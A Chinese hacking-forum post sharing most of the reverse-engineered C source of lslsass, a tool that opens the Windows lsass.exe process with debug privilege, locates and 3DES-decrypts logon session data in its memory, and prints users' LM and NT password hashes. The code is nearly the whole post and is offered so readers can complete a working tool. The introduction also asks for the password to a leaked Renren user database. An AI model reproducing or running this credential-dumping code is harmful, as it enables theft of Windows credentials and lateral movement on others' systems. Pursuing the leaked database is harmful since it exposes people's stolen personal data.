这是早期逆向 lslsass32.exe  的一份代码  大概为完整代码的95%   完整代码已经给我朋友pang0了 他暂时不想发出来

就先发这份代码吧  会调试的弄个完整的也花不了多少时间  另外 谁知道人人网2.8GB数据库压缩包的解压密码 知道的麻烦短信告知 先谢啦

好像很多人不知道这个工具  这个工具和WCE类似 可以从活动进程中列出所有登录用户的HASH

原始工具下载地址:http://www.truesec.se/sakerhet/verktyg/saakerhet/lslsass_v1.0_%28x86%29

#include "stdafx.h"
#include <windows.h>
#include <TLHELP32.H>

/*
FuncitonName : doEnablePrivilege
ReturnValue:
    TRUE   -----  Successed
        FASLE  -----  Failed
*/
BOOL  doEnablePrivilege(LPCWSTR lpszPrivilege, BOOL bEnablePrivilege)
{
    HANDLE hCur; // eax@3
    struct _TOKEN_PRIVILEGES NewState; // [sp+0h] [bp-44h]@3
    struct _LUID Luid; // [sp+18h] [bp-2Ch]@1
    HANDLE TokenHandle; // [sp+28h] [bp-1Ch]@3

    if ( !LookupPrivilegeValueW(0, lpszPrivilege, &Luid) )
    {
        printf("LookupPrivilegeValue error: %u\n", GetLastError() ); 
        return FALSE; 
    }
    NewState.PrivilegeCount = 1;
    NewState.Privileges[0].Luid.LowPart = Luid.LowPart;
    NewState.Privileges[0].Luid.HighPart = Luid.HighPart;
    NewState.Privileges[0].Attributes = bEnablePrivilege != 0 ? SE_PRIVILEGE_ENABLED : 0;
    hCur = GetCurrentProcess();
    if ( !OpenProcessToken(hCur, TOKEN_ALL_ACCESS, &TokenHandle) )
    {
        printf("OpenProcessToken error: %u\n", GetLastError() ); 
        return FALSE; 
    }

    if ( !AdjustTokenPrivileges(TokenHandle, 0, &NewState, sizeof(TOKEN_PRIVILEGES), 0, 0) )
    {
        printf("AdjustTokenPrivileges error: %u\n", GetLastError() ); 
        return FALSE; 
    }

    CloseHandle(TokenHandle);
    return TRUE;
}

/*
FuncitonName : doGetProcessId
ReturnValue:
       dwPid  ---- return the process id
*/
DWORD  doGetProcessId(const wchar_t *wszProcess)
{
    HANDLE hSnapshot; // eax@3
    PROCESSENTRY32W pe; // [sp+30h] [bp+0h]@1

    DWORD dwPid = 0;

    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

    if ( hSnapshot == (HANDLE)INVALID_HANDLE_VALUE )
    {
        printf("CreateToolhelp32Snapshot error: %u\n", GetLastError() ); 
        return 0; 
    }
    pe.dwSize = sizeof( PROCESSENTRY32 );

    if ( !Process32FirstW(hSnapshot, &pe) )
    {
        printf("Process32FirstW error: %u\n", GetLastError() ); 
        CloseHandle( hSnapshot );    
        return 0;
    }

    do
    {
        if ( wcsstr(pe.szExeFile, wszProcess) )
        {
        dwPid = pe.th32ProcessID;
        }
    }
    while ( Process32NextW(hSnapshot, &pe) );

    CloseHandle(hSnapshot);
    return dwPid;
}

struct StrProcess{
    HANDLE hProcess;    /* 0x00    0     Process Handle   */
    DWORD  dwPid;       /* 0x04    1     Process ID    */
    DWORD  pHeap1;      /* 0x08    2     free(PHeap1)  */
    DWORD  lpAddrTemp;      /* 0x0C    3     -28   */
    DWORD  lpAddrReal;      /* 0x10     4     -28  pAddr-24--->found real token */
    DWORD  Unknow4;     /* 0x14     5     ...  */
    DWORD  Unknow5;     /* 0x18     6     ...  */    
};

void doOpenLsassProcess(StrProcess *stProcess)
{
    HANDLE hProcess; // edi@1
    int nPid; // eax@1

    stProcess->hProcess = NULL;
    doEnablePrivilege(L"SeDebugPrivilege", TRUE);
    nPid = doGetProcessId( L"lsass.exe");
    stProcess->dwPid = nPid;
    printf("Found Lsass pid: %u\n", nPid);
    hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_WRITE | PROCESS_VM_READ | PROCESS_VM_OPERATION, 
                   TRUE, stProcess->dwPid);//0x438
    if ( stProcess->hProcess )
        CloseHandle(stProcess->hProcess);
    stProcess->hProcess = hProcess;
    printf("Lsass process open\n");
    stProcess->pHeap1 = 0;
    stProcess->Unknow5 = 0;
    stProcess->Unknow4 = 0;
    return ;
}

unsigned int  doInitAddr(StrProcess *stProcess)
{
    unsigned int dwRet; // eax@1

    dwRet = 0xFFFFFFE4u;
    stProcess->lpAddrReal = 0xFFFFFFE4u;
    stProcess->lpAddrTemp = 0xFFFFFFE4u;
    return dwRet;
}


void  doLeave(StrProcess *stProcess)
{
    if ( stProcess->pHeap1 )
        free((void *)stProcess->pHeap1);

    if ( stProcess->hProcess )
        CloseHandle(stProcess->hProcess);
}


BOOL  doFindToken(StrProcess *stProcess)
{

    DWORD dwAddr2; // esi@4
    DWORD dwAddr3; // eax@21
    SIZE_T NumberOfBytesRead; // [sp+14h] [bp-40h]@5
    DWORD dwFound; // [sp+1Ch] [bp-38h]@9
    DWORD dwData[2]; // [sp+20h] [bp-34h]@5
    struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+38h] [bp-1Ch]@2


    HANDLE hProcess = stProcess->hProcess;
    DWORD dwAddr = stProcess->lpAddrTemp + 28;       // 前面初始化为-28

    if ( dwAddr >= 0x70000000 )
        return 0;

    while ( 1 )
    {
        if ( !VirtualQueryEx(hProcess, (LPCVOID)dwAddr, &Buffer, sizeof(MEMORY_BASIC_INFORMATION)) || Buffer.Type != MEM_PRIVATE )
            goto LABEL_14;
        dwAddr2 = dwAddr;
        if ( dwAddr < dwAddr + Buffer.RegionSize )
            break;
LABEL_14:
        dwAddr3 = (dwAddr + 4096) & 0xFFFFF000;
        dwAddr = Buffer.RegionSize + (DWORD)Buffer.BaseAddress;
        if ( dwAddr3 > dwAddr )
            dwAddr = dwAddr3;
        if ( dwAddr >= 0x70000000 )
            return 0;
    }
    while ( 1 )
    {
        if ( !ReadProcessMemory(hProcess, (LPCVOID)dwAddr2, (LPVOID)&dwData, 8u, &NumberOfBytesRead) )
        {
            printf("ReadProcessMemory error: %u\n", GetLastError() ); 
            return 0; 
        }
        if ( dwData[0] == 0x6D697250 )   //特征码1
        {
            if ( dwData[1] == 0x797261 ) //特征码2  通过特征码来确定是否找到令牌
            {
                printf("Found possible primary token\n");
                if ( !ReadProcessMemory(hProcess, (LPCVOID)(dwAddr2 - 12), (LPVOID)&dwFound, 4u, &NumberOfBytesRead) )
                {
                    printf("ReadProcessMemory error: %u\n", GetLastError() ); 
                    return 0; 
                }
                if ( dwFound == dwAddr2 )
                    break;
            }
        }
        dwAddr2 += 4;
        if ( dwAddr2 >= dwAddr + Buffer.RegionSize )
            goto LABEL_14;
    }
    printf("Found real token\n");
    stProcess->lpAddrReal = dwAddr2 - 24;
    return 1;
}


struct strBuff2{
    DWORD   dwAddr;
    HANDLE  hProcess;
};

BOOL  doReadProcessMemory(strBuff2 *stBuf, LPVOID lpBuffer, SIZE_T NumberOfBytesRead)
{
    BOOL bRet; // eax@1

    bRet = ReadProcessMemory(stBuf->hProcess, (LPCVOID)stBuf->dwAddr, lpBuffer, NumberOfBytesRead, &NumberOfBytesRead);
    if ( !bRet )
    {
        printf("ReadProcessMemory error: %u\n", GetLastError() ); 
        return 0; 
    }
    return bRet;
}

DWORD  doReadProcessMemory2(strBuff2 *stBuf)
{
    SIZE_T NumberOfBytesRead; // [sp+0h] [bp-10h]@1
    DWORD Buffer; // [sp+4h] [bp-Ch]@1

    if ( !ReadProcessMemory(stBuf->hProcess, (LPCVOID)stBuf->dwAddr, &Buffer, 4u, &NumberOfBytesRead) )
    {
        printf("ReadProcessMemory error: %u\n", GetLastError() ); 
        return 0; 
    }
    return Buffer;
}


#pragma comment(lib,"Bcrypt")

#define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)

/*

bMode: 
    TRUE   :  Encrypt
    FALSE  :  Decrypt
*/

NTSTATUS __cdecl doBCryptData(PUCHAR pbInput, ULONG cbInput, DWORD npbIV1, DWORD npbIV2, DWORD *pbSecretAddr, BOOL bMode)
{
    NTSTATUS ntStatus; // eax@1
    char dwFlagOpen; // bl@1
    PUCHAR pbKeyObject; // ecx@5
    ULONG dwFlags; // edx@10
    PUCHAR pbOutput; // edi@10
    int nStatus; // edx@10
    bool bFlag; // zf@10
    NTSTATUS ntStatus2; // eax@12
    BCRYPT_ALG_HANDLE hAlgorithm; // [sp+Ch] [bp-38h]@1
    UCHAR cbKeyObject[4]; // [sp+10h] [bp-34h]@3
    BCRYPT_KEY_HANDLE hKey; // [sp+14h] [bp-30h]@8
    ULONG pcbResult; // [sp+1Ch] [bp-28h]@3
    DWORD pbIV[2]; // [sp+20h] [bp-24h]@9
    DWORD pbSecret[6]; // [sp+28h] [bp-1Ch]@7

    dwFlagOpen = 0;
    ntStatus = BCryptOpenAlgorithmProvider(&hAlgorithm, L"3DES", 0, 0);
    if ( !ntStatus )
    {
        dwFlagOpen = 1;
        ntStatus = BCryptSetProperty(hAlgorithm, L"ChainingMode", (PUCHAR)L"ChainingModeCBC", 32u, 0);
    }
    *(DWORD *)cbKeyObject = 0;
    pcbResult = 4;
    if ( !ntStatus )
        ntStatus = BCryptGetProperty(hAlgorithm, L"ObjectLength", cbKeyObject, 4u, &pcbResult, 0);
    pbKeyObject = 0;
    if ( !ntStatus )
    {
        pbKeyObject = (PUCHAR)malloc(*(size_t *)cbKeyObject);
        ntStatus = (pbKeyObject != 0 ? -STATUS_UNSUCCESSFUL : 0) + STATUS_UNSUCCESSFUL;
    }
    pbSecret[0] = *pbSecretAddr;
    pbSecret[1] = pbSecretAddr[1];
    pbSecret[2] = pbSecretAddr[2];
    pbSecret[3] = pbSecretAddr[3];
    pbSecret[4] = pbSecretAddr[4];
    pbSecret[5] = pbSecretAddr[5];
    if ( !ntStatus )
        ntStatus = BCryptGenerateSymmetricKey(hAlgorithm, &hKey, pbKeyObject, *(ULONG *)cbKeyObject, (PUCHAR)pbSecret, 24u, 0);
    pbIV[0] = npbIV1;
    pbIV[1] = npbIV2;
    if ( !ntStatus )
    {
        pbOutput = (PUCHAR)malloc(cbInput);
        nStatus = pbOutput != 0 ? -STATUS_UNSUCCESSFUL : 0;
        bFlag = nStatus == -STATUS_UNSUCCESSFUL;
        dwFlags = nStatus + STATUS_UNSUCCESSFUL;
        if ( bFlag )
        {
            if ( bMode )
                ntStatus2 = BCryptEncrypt(hKey, pbInput, cbInput, 0, (PUCHAR)pbIV, 8u, pbOutput, cbInput, &pcbResult, dwFlags);
            else
                ntStatus2 = BCryptDecrypt(hKey, pbInput, cbInput, 0, (PUCHAR)pbIV, 8u, pbOutput, cbInput, &pcbResult, dwFlags);
            if ( !ntStatus2 )
            {
                memcpy(pbInput, pbOutput, cbInput);
                free(pbOutput);
            }
        }
        ntStatus = BCryptDestroyKey(hKey);
    }
    if ( dwFlagOpen )
        ntStatus = BCryptCloseAlgorithmProvider(hAlgorithm, 0);
    return ntStatus;
}


NTSTATUS __cdecl doBCryptDecryptData(PUCHAR pbInput, ULONG cbOutput, DWORD npbIV1, DWORD npbIV2, DWORD *pbSecretAddr)
{
    return doBCryptData(pbInput, cbOutput, npbIV1, npbIV2, pbSecretAddr, 0);
}

NTSTATUS __cdecl doBCryptEncryptData(PUCHAR pbInput, ULONG cbOutput, DWORD npbIV1, DWORD npbIV2, DWORD *pbSecretAddr)
{
    return doBCryptData(pbInput, cbOutput, npbIV1, npbIV2, pbSecretAddr, 1);
}


DWORD  doFindAddr(StrProcess *stProcess)
{

    SIZE_T dwAddr1; // esi@2
    SIZE_T dwAddr2; // eax@5
    SIZE_T dwAddr3; // [sp+14h] [bp-64h]@2

    DWORD dwData1; // [sp+20h] [bp-58h]@6
    DWORD dwData2; // [sp+28h] [bp-50h]@9
    DWORD dwData3; // eax@12

    SIZE_T NumberOfBytesRead; // [sp+1Ch] [bp-5Ch]@6

    strBuff2 stBuf; // [sp+2Ch] [bp-4Ch]@12
    strBuff2 stBuf2; // [sp+34h] [bp-44h]@13
    strBuff2 stBuf3; // [sp+3Ch] [bp-3Ch]@14
    strBuff2 stBuf4; // [sp+54h] [bp-24h]@26
    struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+5Ch] [bp-1Ch]@3


    if ( stProcess->Unknow5 )
        return stProcess->Unknow5;

    dwAddr1 = 0;
    dwAddr3 = 0;
    while ( 1 )
    {
        if ( !VirtualQueryEx(stProcess->hProcess, (LPCVOID)dwAddr1, &Buffer, 28u) || Buffer.Type != MEM_PRIVATE )
        {
            dwAddr2 = Buffer.RegionSize;
            goto LABEL_17;
        }
        dwAddr2 = Buffer.RegionSize;
        if ( dwAddr1 < Buffer.RegionSize + dwAddr1 )
            break;
LABEL_17:
        if ( dwAddr2 < 0x1000 )
            dwAddr2 = 4096;
        dwAddr1 += dwAddr2;
        dwAddr3 = dwAddr1;
        if ( dwAddr1 >= 0x70000000 )
        {
            return 0;
        }
    }
    while ( 1 )
    {
        if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)(dwAddr1 + 4), &dwData1, 4u, &NumberOfBytesRead) )
        {
            printf("ReadProcessMemory error: %u\n", GetLastError() ); 
            return 0; 
        }
        if ( dwData1 == 0x55555552 )  //特征码1
        {
            if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)dwAddr1, &dwData2, 4u, &NumberOfBytesRead) )
            {
                printf("ReadProcessMemory error: %u\n", GetLastError() ); 
                return 0; 
            }
    
            if ( dwData2 <= 32 )
            {
                stBuf.hProcess = stProcess->hProcess;
                stBuf.dwAddr = dwAddr1 + 12;
                dwData3 = doReadProcessMemory2(&stBuf);
                if ( dwData3 - dwData2 - dwAddr1 <= 12 )
                {
                    stBuf2.hProcess = stProcess->hProcess;
                    stBuf2.dwAddr = dwData3 + 4;
                    if ( doReadProcessMemory2(&stBuf2) == 0x4D53534B ) //特征码1
                    {
                        stBuf3.hProcess = stProcess->hProcess;
                        stBuf3.dwAddr = dwData3 + 8;
                        if ( doReadProcessMemory2(&stBuf3) == 0x10005 ) //特征码1
                            break;
                    }
                }
            }
        }
        dwAddr2 = Buffer.RegionSize;
        dwAddr1 += 4;
        if ( dwAddr1 >= Buffer.RegionSize + dwAddr3 )
        {
            dwAddr1 = dwAddr3;
            goto LABEL_17;
        }
    }
    stProcess->Unknow5 = dwAddr1;
    stBuf4.hProcess = stProcess->hProcess;
    stBuf4.dwAddr = dwData3 + 28;
    doReadProcessMemory(&stBuf4, &stProcess[1].lpAddrTemp, 24u);
    return stProcess->Unknow5;
}


DWORD  doFindAddr2(StrProcess *stProcess)
{
    HMODULE hLsasrv; // eax@1

    SIZE_T dwAddr1; // eax@6
    DWORD dwAddr2; // esi@6
    DWORD dwAddr3; // ebp@1
    DWORD dwAddr4; // ebx@3

    SIZE_T NumberOfBytesRead; // [sp+10h] [bp-48h]@7
    DWORD dwData1; // [sp+14h] [bp-44h]@7
    DWORD dwData2[2]; // [sp+1Ch] [bp-3Ch]@10
    struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+3Ch] [bp-1Ch]@4


    doFindAddr(stProcess);

    hLsasrv = LoadLibraryW(L"lsasrv.dll");
    dwAddr3 = (DWORD)hLsasrv;
    if ( !hLsasrv )
    {
        printf("LoadLibraryW error: %u\n", GetLastError() ); 
        return 0; 
    }
    FreeLibrary(hLsasrv);

    dwAddr4 = dwAddr3;
    if ( dwAddr3 >= dwAddr3 + 0x1000000 )
    {
        return 0;
    }
    while ( 1 )
    {
        if ( !VirtualQueryEx(stProcess->hProcess, (LPCVOID)dwAddr4, &Buffer, 28u) || Buffer.Type == MEM_FREE )
        {
            dwAddr1 = Buffer.RegionSize;
            goto LABEL_17;
        }
        dwAddr1 = Buffer.RegionSize;

        dwAddr2 = dwAddr4;
        if ( dwAddr4 < Buffer.RegionSize + dwAddr4 )
            break;
LABEL_17:
        if ( dwAddr1 < 0x1000 )
            dwAddr1 = 4096;
        dwAddr4 += dwAddr1;
        if ( dwAddr4 >= dwAddr3 + 0x1000000 )
            return 0;
    }
    while ( 1 )
    {
        if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)dwAddr2, &dwData1, 4u, &NumberOfBytesRead) )
        {
            printf("ReadProcessMemory error: %u\n", GetLastError() ); 
            return 0; 
        }
        if ( dwData1 == stProcess->Unknow5 )
        {
            if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)(dwAddr2 + 16), &dwData2, 8u, &NumberOfBytesRead) )
            {
                printf("ReadProcessMemory error: %u\n", GetLastError() ); 
                return 0; 
            }
            if ( dwData2[1] & 0xFFFFFF00 )
            {
                if ( LOWORD(dwData2[0]) )
                {

                    if ( ((dwData2[0] ^ dwAddr3) & 0xFF000000) <= 0x4000000 )
                        break;
                }
            }
        }
        dwAddr1 = Buffer.RegionSize;
        dwAddr2 += 4;

        if ( dwAddr2 >= Buffer.RegionSize + dwAddr4 )
        {
            goto LABEL_17;
        }
    }

    stProcess[1].pHeap1 = dwData2[1];
    stProcess->Unknow4 = dwAddr2 + 16;
    stProcess[1].dwPid = dwData2[0];
    return (dwAddr2 + 16);
}



DWORD  doFindAddr3(StrProcess *stProcess)
{

    
    HMODULE hLsasrvDll; // eax@3

    DWORD dwAddr5; // esi@3
    DWORD dwAddr1; // ebx@5
    SIZE_T dwAddr3; // eax@8
    DWORD dwAddr2; // edi@8
    DWORD dwAddr4; // [sp+14h] [bp-48h]@5
    DWORD *pAddr; // eax@3

    SIZE_T NumberOfBytesRead; // [sp+10h] [bp-4Ch]@9

    DWORD pbInput[2]; // [sp+18h] [bp-44h]@3
    DWORD nHData2[2]; // [sp+20h] [bp-3Ch]@3
    DWORD nHData1[2]; // [sp+30h] [bp-2Ch]@9

    struct _MEMORY_BASIC_INFORMATION Buffer; // [sp+40h] [bp-1Ch]@6

    doFindAddr(stProcess);

    pAddr = *(DWORD **)(stProcess->pHeap1 + 20);
    pbInput[0] = *pAddr;
    pbInput[1] = pAddr[1];
    doBCryptDecryptData((PUCHAR)pbInput, 8u, 0, 0, &stProcess[1].lpAddrTemp);
    nHData2[0] = pbInput[0] & 0xFF00FF00;
    nHData2[1] = pbInput[1] & 0xFFFFFF00;
    hLsasrvDll = LoadLibraryW(L"lsasrv.dll");
    dwAddr5 = (DWORD)hLsasrvDll;
    if ( !hLsasrvDll )
    {
        printf("LoadLibraryW error: %u\n", GetLastError() ); 
        return 0; 
    }
    FreeLibrary(hLsasrvDll);

    dwAddr1 = dwAddr5;
    dwAddr4 = dwAddr5 + 0x1000000;
    if ( dwAddr5 >= dwAddr5 + 0x1000000 )
    {
        return 0;
    }
    while ( 1 )
    {
        if ( !VirtualQueryEx(stProcess->hProcess, (LPCVOID)dwAddr1, &Buffer, 28u) || Buffer.Type == MEM_FREE )
        {
            dwAddr3 = Buffer.RegionSize;
            goto LABEL_16;
        }
        dwAddr3 = Buffer.RegionSize;
        dwAddr2 = dwAddr1;
        if ( dwAddr1 < Buffer.RegionSize + dwAddr1 )
            break;
LABEL_16:
        if ( dwAddr3 < 0x1000 )
            dwAddr3 = 4096;
        dwAddr1 += dwAddr3;
        if ( dwAddr1 >= dwAddr4 )
            return 0;
    }
    while ( 1 )
    {
        if ( !ReadProcessMemory(stProcess->hProcess, (LPCVOID)dwAddr2, nHData1, 8u, &NumberOfBytesRead) && NumberOfBytesRead == 8 )
        {
            printf("ReadProcessMemory error: %u\n", GetLastError() ); 
            return 0; 
        }

        if ( (nHData1[0] & 0xFF00FF00) == nHData2[0] )
        {
            if ( (nHData1[1] & 0xFFFFFF00) == nHData2[1]
            && (unsigned __int16)(LOWORD(pbInput[0]) ^ LOWORD(nHData1[0])) + 2 == (pbInput[0] ^ nHData1[0]) >> 16 )
                break;
        }
        dwAddr3 = Buffer.RegionSize;
        dwAddr2 += 4;
        if ( dwAddr2 >= Buffer.RegionSize + dwAddr1 )
        {
            goto LABEL_16;
        }
    }
    stProcess[1].pHeap1 = nHData1[1];
    stProcess->Unknow4 = dwAddr2;
    stProcess[1].dwPid = nHData1[0];
    return dwAddr2;
}


typedef unsigned __int64 QWORD;

__int64  doGetnpbIV(DWORD dwAddr, StrProcess *stProcess)
{

    if ( !stProcess->Unknow4 )
    {
        doFindAddr3(stProcess);
        if ( !stProcess->Unknow4 )
            doFindAddr2(stProcess);
    }
    return *(QWORD *)&stProcess[1].dwPid;
}


#define HIDWORD(x)  (*((DWORD*)&(x)+1))


struct strHashInfo{  // 48 bytes
    BYTE  btDomain[8];  //域名 或 机器名
    BYTE  btUsername[8]; //用户名
    BYTE  btPwdNtHash[16]; // NT  Hash
    BYTE  btPwdLmHash[16]; // LM  Hash
};


DWORD  doDecryptMemBlock(StrProcess *stProcess)
{
    StrProcess *stProcess2; // edi@1
    DWORD dwAddr3; // eax@5
    HANDLE hProcess; // ebx@5
    strHashInfo *v4; // esi@8
    SIZE_T v5; // ecx@8
    SIZE_T v6; // ST10_4@8
    void *v7; // ST0C_4@8
    PUCHAR pbInput; // ebx@10
    __int64 nHnpbIV; // qax@10
    SIZE_T NumberOfBytesRead; // [sp+18h] [bp-34h]@5
    DWORD v12; // [sp+1Ch] [bp-30h]@7
    int v13; // [sp+20h] [bp-2Ch]@7
    strBuff2 stBuf; // [sp+24h] [bp-28h]@8
    strBuff2 stBuf2; // [sp+2Ch] [bp-20h]@8
    BYTE v16; // [sp+34h] [bp-18h]@5

    stProcess2 = stProcess;
    if ( stProcess->lpAddrReal == stProcess->lpAddrTemp )
        doFindToken(stProcess);
    if ( stProcess2->lpAddrReal == stProcess2->lpAddrTemp )
        RaiseException(259u, 0, 0, 0);
    dwAddr3 = stProcess2->lpAddrReal;
    hProcess = stProcess2->hProcess;
    stProcess2->lpAddrTemp = dwAddr3;
    if ( !ReadProcessMemory(hProcess, (LPCVOID)dwAddr3, &v16, 24u, &NumberOfBytesRead) )
    {
        if ( NumberOfBytesRead == 24 )
        {

        }
    }
    v4 = (strHashInfo *)malloc(*((unsigned __int16 *)&v16 + 9) + *((unsigned __int16 *)&v16 + 5) + 24);
    *(DWORD *)&v4->btUsername[0] = *((DWORD *)&v16 + 2);
    v5 = *(WORD *)&v4->btUsername[2];
    *(DWORD *)&v4->btUsername[4] = *((DWORD *)&v16 + 3);
    *(DWORD *)&v4->btPwdNtHash[0] = *((DWORD *)&v16 + 4);
    *(DWORD *)&v4->btUsername[4] = (char *)v4 + 24;
    *(DWORD *)&v4->btPwdNtHash[4] = (char *)v4 + v5 + 24;
    stBuf.hProcess = hProcess;
    stBuf.dwAddr = *((DWORD *)&v16 + 3);
    doReadProcessMemory(&stBuf, &v4->btPwdNtHash[8], v5);
    v6 = *(WORD *)&v4->btPwdNtHash[2];
    v7 = *(void **)&v4->btPwdNtHash[4];
    stBuf2.hProcess = hProcess;
    stBuf2.dwAddr = *((DWORD *)&v16 + 5);
    doReadProcessMemory(&stBuf2, v7, v6);
    if ( stProcess2->pHeap1 )
        free((void *)stProcess2->pHeap1);
    stProcess2->pHeap1 = (DWORD)v4;
    pbInput = *(PUCHAR *)&v4->btPwdNtHash[4];
    nHnpbIV = doGetnpbIV((int)&stProcess2[1].lpAddrTemp, stProcess2);
    doBCryptDecryptData(pbInput, *(WORD *)&v4->btPwdNtHash[2], nHnpbIV, HIDWORD(nHnpbIV), &stProcess2[1].lpAddrTemp);
    *((DWORD *)pbInput + 1) += pbInput;
    *((DWORD *)pbInput + 3) += pbInput;
    return stProcess2->pHeap1;
}


void __cdecl doShowUsage()
{
    printf("\nUSAGE\n  lslsass [ANY_ARGUMENT]\n\nDESCRIPTION");
    printf("\n  Dump active logon session password hashes from the lsass process.\n");
    printf("\nPLATFORMS\n  Windows Vista      (x86/x64)\n  Windows Server 2008    (x86/x64)\n  Windows Server 2008 R2 (x86/x64)"
           "\n  Windows 7          (x86/x64)\n");
}


void __cdecl doShowLicense()
{
    printf("\nLICENSE\n  Freeware\n\nDISCLAIMER\n");
    printf("  The software is licensed \"as-is\". You bear the risk of using it.\n");
    printf("  Truesec gives no express warranties, guarantees or conditions.\n");
    printf("  IF YOU DO NOT ACCEPT THIS, DO NOT USE THE SOFTWARE.\n");
}

void __cdecl doShowContributors()
{
    printf("\nCONTRIBUTORS\n  Mikael Janers\n");
    printf("\nCREDITS\n  Hernan Ochoa\n  Marcus Murray\n");
}


void __cdecl doFormatHash(strHashInfo *pHashInfo)
{

    int i;

    if ( pHashInfo )
    {
        printf("%.*S", *(WORD *)&pHashInfo->btDomain[0], *(DWORD *)&pHashInfo->btDomain[4]);
        printf("\\");
    }
    printf("%.*S", *(WORD *)&pHashInfo->btUsername[0], *(DWORD *)&pHashInfo->btUsername[4]);
    printf("::");
    i = 0;
    do
    printf("%02x", pHashInfo->btPwdLmHash[i++]);
    while ( i < 16 );
    printf(":");
    i = 0;
    do
    printf("%02x", pHashInfo->btPwdNtHash[i++]);
    while ( i < 16 );
    printf(":::\n");
}



int __cdecl xmain(int argc, const char **argv, const char **envp)
{

    int nRet; // eax@2
    DWORD dwHashAddr; // eax@5
    StrProcess stProcess; // [sp+10h] [bp-54h]@3


    printf("\nlslsass v1.0 - Copyright (C) 2010 Bjorn Brolin, Truesec ([url]www.truesec.com[/url])\n");
    if ( argc == 1 )
    {

        printf("\nNo argument given, display usage only\n");
        doShowUsage();
        doShowLicense();
        doShowContributors();
        nRet = -1;
    }
    else
    {

        doOpenLsassProcess(&stProcess);
        doInitAddr(&stProcess);

        while ( doFindToken(&stProcess) )
        {
            dwHashAddr = doDecryptMemBlock(&stProcess);
            doFormatHash(*(strHashInfo **)(dwHashAddr + 20));
        }

        doLeave(&stProcess);
        nRet = 0;
    }
    return nRet;
}

摘自:https://www.t00ls.net/thread-21881-1-1.html